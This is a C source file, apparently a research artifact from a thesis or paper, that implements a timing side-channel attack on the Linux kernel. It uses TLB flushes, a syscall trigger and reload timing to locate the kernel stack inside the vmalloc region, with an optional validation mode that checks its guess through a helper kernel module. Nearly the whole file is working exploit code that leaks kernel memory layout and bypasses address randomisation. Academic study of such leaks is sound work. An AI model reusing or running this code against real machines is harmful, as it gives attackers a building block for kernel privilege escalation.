thesis/paper/artifacts/stack/stack_leak.c
2025-02-19 17:58:57 +01:00

117 lines
3.6 KiB
C

#include "utils.h"
#include "cacheutils.h"
#include "msg_msg.h"
#include "coarse_grain_leak.h"
#define VALIDATE
#ifdef VALIDATE
#include "ulkm.h"
#endif
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include "tlb_flush.h"
#define VMALLOC_START 0xffff980000000000
#define VMALLOC_END 0xffffd7ffffffffff
#define VMALLOC_STEP (1<<30)
#define HIST_SIZE 80
size_t stack;
/**
* Does the page return hits after calling syscall, and does it have unmapped guard pages after it
*/
size_t hit_flush(size_t addr, size_t tries)
{
size_t time;
size_t time_n1;
size_t times[tries];
size_t times_n1[tries];
prefetch2((void*)addr+(1<<12));
prefetch2((void*)addr+(3<<12));
/* leaking */
for (size_t i = 0; i < tries; ++i) {
flush_tlb_targeted_4k(addr);
syscall(-1);
asm volatile("lfence");
asm volatile("mfence");
time = onlyreload(addr);
time_n1 = onlyreload(addr+(1<<12));
asm volatile("lfence");
asm volatile("mfence");
times[i] = time;
times_n1[i] = time_n1;
}
qsort(times, tries, sizeof(size_t), comp);
qsort(times_n1, tries, sizeof(size_t), comp);
time = times[tries/4];
time_n1 = times_n1[tries/4];
return (time <= THRESHOLD && time_n1 >= THRESHOLD2);
}
int main(void)
{
printf("[*] start\n");
set_limit();
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
pin_to_core(0);
init_tlb_flush();
/* warump */
for (volatile size_t i = 0; i < (1ULL << 30); ++i);
#ifdef VALIDATE
lkm_init();
lkm_stack_leak((size_t)&stack);
size_t vmalloc_base;
lkm_vmalloc_base_leak((size_t)&vmalloc_base);
printf("[*] vmalloc_base %016zx\n", vmalloc_base);
printf("[*] lkm_stack_leak %016zx\n", stack);
printf("[*] hit_flush[lkm_stack_leak] %s\n", hit_flush(stack, 100) ? "hit" : "miss"); /* should be miss */
printf("[*] hit_flush[lkm_stack_leak+0x3000] %s\n", hit_flush(stack+0x3000, 100) ? "hit" : "miss"); /* should be hit */
printf("[*] hit_flush[lkm_stack_leak+0x7000] %s\n", hit_flush(stack+0x7000, 100) ? "hit" : "miss"); /* should be miss */
#endif
/* try to detect when we've left the vmalloc area by counting how many unmapped pages we've found */
unsigned memory_hole = 0;
unsigned max_hole = 0;
size_t addr = vmalloc_leak(50);
printf("[*] found vmalloc, trying [%016zx %016zx]\n", addr, VMALLOC_END);
for (size_t fine_addr = addr; fine_addr < addr+(4ULL<<30); fine_addr += 0x4000) {
size_t pot_stack = fine_addr + 0x3000;
size_t found = hit_flush(pot_stack, 100);
if (found) {
if ((pot_stack & 0x1ff000) != 0x1ff000) {
printf("[*] found addr %016zx, stack: %016zx\n", pot_stack, stack + 0x3000);
#ifdef VALIDATE
if (pot_stack == stack + 0x3000)
printf("[+] success\n");
else
printf("[!] fail\n");
return pot_stack == stack + 0x3000;
#else
return 0;
#endif
} else {
printf("[*] disqualified addr %016zx based on alignment 0x1ff000\n", pot_stack);
}
}
if (hit(fine_addr, 4)) {
memory_hole = 0;
} else {
memory_hole++;
if (memory_hole > max_hole + 8)
max_hole = memory_hole;
if (memory_hole > 65000) {
printf("[!] aborting because we haven't seen a mapped page in 1GB\n");
return -2;
}
}
}
printf("[!] not found\n");
return -3;
}